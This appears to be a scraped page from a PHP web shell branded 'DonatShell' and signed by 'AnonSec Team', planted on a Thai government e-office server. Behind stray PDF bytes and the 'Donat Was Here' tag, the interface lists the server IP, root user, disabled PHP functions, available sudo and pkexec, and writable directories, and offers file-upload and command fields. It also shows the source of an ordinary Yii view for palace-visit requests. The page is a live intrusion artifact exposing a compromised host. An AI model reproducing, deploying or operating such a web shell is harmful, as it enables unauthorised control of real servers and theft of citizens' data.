%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/chanpalace/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/chanpalace/views/default/view.php
<?php

use yii\helpers\Html;
use yii\widgets\DetailView;
use backend\modules\departments\models\Departments;
use dektrium\user\models\Profile;
use yii\db\Query;

/* @var $this yii\web\View */
/* @var $model backend\modules\circulardata\models\CircularData */
$this->title = 'การขอเข้าเยี่ยมชมศูนย์ประวัติศาสตร์พระราชวังจันทน์';
$this->params['breadcrumbs'][] = $this->title;
?>
<div class="circular-data-view">
    <div class="m-portlet__body  m-portlet__body--no-padding">
        <div class="row m-row--no-padding m-row--col-separator-xl">
            <div class="col-md-6">
                <div style="text-align: center">
                    <?= Html::a('<i class="fa fa-home"> </i>', ['/site/index'], ['class' => 'btn btn-outline-danger m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                    <?= Html::a('<i class="fa fa-arrow-left"> </i>', ['/chanpalace/default/index'], ['class' => 'btn btn-outline-accent m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                </div>
                <div class="m-widget1">
                    <h4>การขอเข้าเยี่ยมชมศูนย์ประวัติศาสตร์พระราชวังจันทน์</h4>
                    <?=
                    DetailView::widget([
                        'model' => $model,
                        'template' => '<tr><th width="35%">{label}</th><td>{value}</td></tr>',
                        'attributes' => [
                            [
                                'label' => 'สถานะการยืนยัน',
                                'attribute' => 'created_at',
                                'format' => 'html',
                                'value' => function ($model) {
                                    if ($model->status != 0) {
                                        return '<span style="color:blue;font-weight: 700;">ได้รับการอนุมัติจากเจ้าหน้าที่แล้ว</span>';
                                    } else {
                                        return '<span style="color:red;font-weight: 700;">ยังไม่ได้รับการอนุมัติจากเจ้าหน้าที่</span>';
                                    }
                                },
                            ],
                            [
                                'label' => 'วันที่',
                                'attribute' => 'created_at',
                                'value' => function ($model) {
                                    return Yii::$app->formatter->asDateTime($model->created_at, 'php:วันที่ d F Y');
                                },
                            ],
                            'name',
//                                'age',
                            'address:ntext',
                            'tel',
                            [
                                'attribute' => 'datein',
                                'value' => function ($model) {
                                    return Yii::$app->formatter->asDateTime($model->datein, 'php:วันที่ d F Y เวลา H:i น.');
                                },
                            ],
                            'department_in',
                            'department_male',
                            'department_female',
//                                'education_t_male',
//                                'education_t_female',
//                                'education_s_male',
//                                'education_s_female',
                            [
                                'label' => 'รวมจำนานผู้เข้าชม',
                                'value' => function ($model) {
                                    $sum = $model->department_male + $model->department_female;
                                    return $sum . ' คน';
                                },
                            ],
                            [
                                'attribute' => 'filename',
                                'format' => 'raw',
                                'value' => function ($model) {
                                    if ($model->filename !== "") {
                                        return Html::a('ดาวน์โหลด', '@back/files/' . $model->filename, [
                                                    'target' => '_blank',
                                        ]);
                                    } else {
                                        return 'ไม่มีไฟล์เอกสาร';
                                    }
                                },
                            ],
                            'comment:ntext',
                            [
                                'attribute' => 'created_at',
                                'value' => function ($model) {
                                    return Yii::$app->formatter->asDateTime($model->created_at, 'php:วันที่ d F Y เวลา H:i น.');
                                },
                            ],
                            [
                                'attribute' => 'updated_at',
                                'value' => function ($model) {
                                    return Yii::$app->formatter->asDateTime($model->updated_at, 'php:วันที่ d F Y เวลา H:i น.');
                                },
                            ],
                        ],
                    ])
                    ?>
                </div>
            </div>
            <div class="col-md-6">
                <div class="m-widget1">
                    <?php
                    if ($model->filename !== "") {
                        $file = pathinfo($model->filename);
                        if ($file['extension'] == 'jpg' or $file['extension'] == 'jpeg' or $file['extension'] == 'png') {
                            echo Html::img('@back/files/' . $model->filename, ['class' => 'img-fluid']);
                        } else {
                            ?>
                            <object data="http://eoffice.ppao.go.th/files/<?= $model->filename ?>" type="application/pdf" width="100%" height="1000px"></object>
                            <?php
                        }
                    } else {
                        echo Html::img('@back/images/nodoc.png', ['class' => 'img-fluid']);
                    }
                    ?>
                </div>
            </div>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team